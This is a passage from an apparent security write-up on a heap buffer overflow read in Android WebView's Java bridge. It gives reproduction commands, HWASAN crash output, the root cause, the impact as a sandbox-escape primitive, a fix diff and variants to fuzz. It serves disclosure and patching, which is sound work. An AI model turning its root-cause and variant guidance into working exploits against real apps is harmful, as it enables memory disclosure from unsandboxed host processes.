Then build with the same out/android/args.gn as Method A, install both APKs, set the provider and launch:
out/android/bin/system_webview_64_apk install
out/android/bin/system_webview_shell_apk install
adb shell cmd webviewupdate set-webview-implementation com.android.webview
adb shell am start -n org.chromium.webview_shell/.WebViewLayoutTestActivity
These are the same install, provider-selection and launch commands as before. The difference is that the trigger page is now loaded automatically by the app itself, so no CDP script is needed.
Step 6: Check the crash output
adb logcat -d | grep -E "(HWAddressSanitizer|heap-buffer|SUMMARY)"
adb logcat -d dumps the phone's system log and exits. grep -E filters the lines, keeping only those matching the pattern: HWASAN reports, heap-buffer messages, or summary lines. This is how you confirm the bug fired.
The host app process crashes within one second. The overflow occurs in the WebView host app process (PID 3697, org.chromium.webview_shell), not in the renderer (PID 3727, the sandboxed child process). The crashing thread is T919 (JavaBridgeThread), the dedicated background thread that processes Java bridge invocations from Mojo IPC. A thread is a unit of execution inside a process; a process can run several threads at once.
The symbolised HWASAN output is. Symbolised means the raw memory addresses have been translated back into function names and file lines:
==3697==ERROR: HWAddressSanitizer: tag-mismatch on address 0x0043d829dc08 at pc 0x007021178a34
READ of size 4 at 0x0043d829dc08 tags: 40/04(40) (ptr/mem) in thread T919
#0 GinJavaBridgeValue::GetType() gin_java_bridge_value.cc:92
#1 CoerceGinJavaBridgeValueToJavaValue() gin_java_script_to_java_types_coercion.cc:695
#2 CoerceJavaScriptValueToJavaValue() gin_java_script_to_java_types_coercion.cc:764
#3 GinJavaMethodInvocationHelper::Invoke() gin_java_method_invocation_helper.cc:137
#4 GinJavaBridgeDispatcherHost::OnInvokeMethod() gin_java_bridge_dispatcher_host.cc:384
#5 GinJavaBridgeDispatcherHost::InvokeMethod() gin_java_bridge_dispatcher_host.cc:488
#6 GinJavaBridgeRemoteObjectStubDispatch::AcceptWithResponder() gin_java_bridge.mojom.cc:1693
#7 mojo::InterfaceEndpointClient::HandleValidatedMessage()
#8 mojo::MessageDispatcher::Accept()
#9 mojo::InterfaceEndpointClient::HandleIncomingMessage()
#10 mojo::internal::MultiplexRouter::ProcessIncomingMessage()
...
[0x0043d829dc00,0x0043d829dc20) is a small allocated heap chunk; size: 32 offset: 8
Cause: heap-buffer-overflow
0x0043d829dc08 is located 4 bytes after a 4-byte region [0x0043d829dc00,0x0043d829dc04)
allocated by thread T919 here:
#0 operator new libclang_rt.hwasan
#1 malloc libc.so
#2 base::Pickle::Resize() pickle.cc:424
#3 base::Pickle::Pickle(base::Pickle const&) pickle.cc:335
#4 GinJavaBridgeValue::GinJavaBridgeValue() gin_java_bridge_value.cc:134
#5 CoerceGinJavaBridgeValueToJavaValue() gin_java_script_to_java_types_coercion.cc:694
SUMMARY: HWAddressSanitizer: tag-mismatch (libwebviewchromium.so+0x59e2a34)
What the report tells us about this output:
- The first line says HWASAN detected a tag-mismatch at a particular address. HWASAN tags memory and pointers with small numbers; a mismatch means a pointer is being used to access memory it was not issued for.
READ of size 4says the program tried to read 4 bytes, and the read happened in thread T919.- The numbered
#0to#10lines are the call stack: the chain of function calls that led to the fault. Reading from the bottom up, the message arrives through Mojo (MultiplexRouter::ProcessIncomingMessage,InterfaceEndpointClient::HandleIncomingMessage,MessageDispatcher::Accept,InterfaceEndpointClient::HandleValidatedMessage), is dispatched to the Java bridge stub (GinJavaBridgeRemoteObjectStubDispatch::AcceptWithResponder), reachesGinJavaBridgeDispatcherHost::InvokeMethodandOnInvokeMethod, goes throughGinJavaMethodInvocationHelper::Invoke, then the two coercion functions, and finally faults inGinJavaBridgeValue::GetType(). - The line
0x0043d829dc08 is located 4 bytes after a 4-byte region [0x0043d829dc00,0x0043d829dc04)says the read address sits just past a 4-byte allocation. That is the out-of-bounds read. - The second stack, under
allocated by thread T919 here, shows where that 4-byte region came from:base::Pickle::Resize()inside theGinJavaBridgeValueconstructor, called fromCoerceGinJavaBridgeValueToJavaValue. - The
SUMMARYline names the faulting library,libwebviewchromium.so.
Root cause
The coercion path assumes that any base::Value of type BINARY arriving over the Java bridge is a valid GinJavaBridgeValue. The only guard, DCHECK(GinJavaBridgeValue::ContainsGinJavaBridgeValue(&value)), is compiled out of release builds, so the malformed blob reaches FromValue and then GetType(). FromValue copies the raw bytes into a pickle without checking the size, and GetType() reads a 12-byte Header from a buffer that can be as small as 4 bytes. The correct validation exists in ContainsGinJavaBridgeValue, which checks the blob size against sizeof(Header) as well as the magic and type range, but it is never called outside the DCHECK.
In everyday terms: the code has a proper bouncer at the door, but the bouncer only works during rehearsals. On the night of the show, anyone walks in.
Impact
A compromised renderer can read memory from the host application process heap. Because Android WebView host app processes are unsandboxed and hold the full privilege set of the embedding application, this is a direct information disclosure primitive from the renderer sandbox into the app process, and a sandbox escape primitive when combined with a renderer compromise. Information disclosure means leaking data the attacker should not see. The precondition is an app that embeds a WebView and registers at least one Java bridge object via addJavascriptInterface; the report notes this applies to all such apps on all Android architectures.
Fix
The suggested fix replaces the DCHECK in CoerceGinJavaBridgeValueToJavaValue with a runtime validation that rejects malformed blobs before constructing a GinJavaBridgeValue, reusing the existing ContainsGinJavaBridgeValue helper, which already implements the size, magic and type-range checks:
// content/browser/android/java/gin_java_script_to_java_types_coercion.cc
jvalue CoerceGinJavaBridgeValueToJavaValue(JNIEnv* env,
const base::Value& value,
const JavaType& target_type,
bool coerce_to_string,
const ObjectRefs& object_refs,
mojom::GinJavaBridgeError* error) {
- DCHECK(GinJavaBridgeValue::ContainsGinJavaBridgeValue(&value));
+ if (!GinJavaBridgeValue::ContainsGinJavaBridgeValue(&value)) {
+ *error = mojom::GinJavaBridgeError::kGinJavaBridgeNonAssignableTypes;
+ return jvalue();
+ }
std::unique_ptr<const GinJavaBridgeValue> gin_value(
GinJavaBridgeValue::FromValue(&value));
This is a diff: lines starting with - are removed and lines starting with + are added. The function signature and the rest of the body are unchanged. The change turns the debug-only assertion into a real check. If the blob is not a valid GinJavaBridgeValue, the function sets an error code (kGinJavaBridgeNonAssignableTypes) and returns an empty jvalue (the C type used to pass values to Java) instead of reading the header. The bouncer now works on the night of the show too.
Variants to test
- Other Mojo interfaces that accept
BinaryValueor pickled blobs from the renderer and deserialise them in the browser or host app process. A positive result is a size check that exists only as aDCHECK, or a deserialiser that reads a fixed-size header before validating the blob length. - Other
base::Value::Typecases inCoerceJavaScriptValueToJavaValuethat dispatch to type-specific coercion without validating the value's internal structure. A positive result is a coercion path that trusts the renderer-supplied type tag and reads fields beyond the actual data. ContainsGinJavaBridgeValuecallers elsewhere in the codebase. A positive result is any other call site where the helper is used only inside aDCHECKrather than as a runtime guard.- Release builds with
dcheck_always_on = falseon other platforms that embed a similar bridge (for example other WebView implementations or embedded browser frameworks). A positive result is a crash or sanitizer report in the host process when a truncated binary argument is sent over the bridge. - Fuzzing the Java bridge argument coercion with truncated and malformed
BinaryValuepayloads of 0 to 11 bytes. A positive result is an out-of-bounds read reported by ASAN or HWASAN inGetType()or a similar header-reading function. Fuzzing means feeding a program many random or malformed inputs automatically to see which ones break it.
Glossary
- Activity: a single screen in an Android app.
- adb (Android Debug Bridge): a command-line tool for talking to an Android device from a computer.
- Allocation: a reserved block of memory.
- API: a published set of functions one piece of software offers to another.
- APK: an Android app package, the file you install on a phone.
- arm64: the 64-bit processor architecture used by most modern Android phones.
- ASAN (AddressSanitizer): a debugging tool that detects out-of-bounds memory accesses.
- base::ListValue: Chrome's container for a list of generic values.
- base::Value: Chrome's generic tagged value, holding a type tag plus data.
- Bisect: a search through a project's history to find the change that introduced a behaviour.
- CDP (Chrome DevTools Protocol): a protocol for controlling a browser remotely.
- Coercion: converting a value from one type to another.
- Commit: a saved snapshot in a version-control system such as Git.
- Data URI: a URL that contains the page content directly instead of pointing to a server.
- DCHECK: a debug-only assertion, removed from release builds.
- Deserialisation: turning a stream of bytes back into an object.
- Diff: a listing of changes to source code, with removed and added lines.
- Embedder / host app: the app that embeds a WebView.
- Enum: a named set of allowed values.
- Fuzzing: automatically feeding a program many random or malformed inputs to find crashes.
- GN args file: a configuration file telling the build system how to compile Chrome.
- Header: a small block of bytes at the start of a structured message describing the rest.
- Heap: the region of memory a program uses for data created while running.
- Heap buffer overflow read: reading past the end of an allocated block of heap memory.
- HWASAN (Hardware-assisted AddressSanitizer): a debugging tool that tags memory and pointers and reports mismatches, catching out-of-bounds accesses.
- Information disclosure: leaking data an attacker should not see.
- IPC (inter-process communication): the mechanisms processes use to exchange messages.
- Java bridge: the feature that exposes Java objects to JavaScript in a WebView via
addJavascriptInterface. - Mojo: Chrome's inter-process communication system.
- Patch: a small change to source code, usually stored as a file.
- PID: the number the operating system uses to identify a running process.
- Pickle: Chrome's serialisation format for packing structured data into a byte buffer.
- PoC (proof of concept): a small demonstration that triggers a bug.
- Process: a running program with its own memory space.
- Renderer: the process that runs a web page's code.
- Runtime check: a check that runs in the shipped product, not only in debug builds.
- Sandbox: an isolated playpen that limits what a process can do if it is compromised.
- Sandbox escape primitive: a building block an attacker can combine with a sandboxed compromise to reach outside the sandbox.
- Serialisation: turning an object into a stream of bytes so it can be sent or stored.
- .so file: a shared library, a bundle of compiled native code.
- Struct: a way of grouping several fields together in C++.
- Symbolised: translated from raw memory addresses back into function names and file lines.
- Thread: a unit of execution inside a process.
- Userdebug build: an Android build close to a normal user build but allowing extra debugging.
- WebView: Android's embeddable browser engine that apps can show web pages in.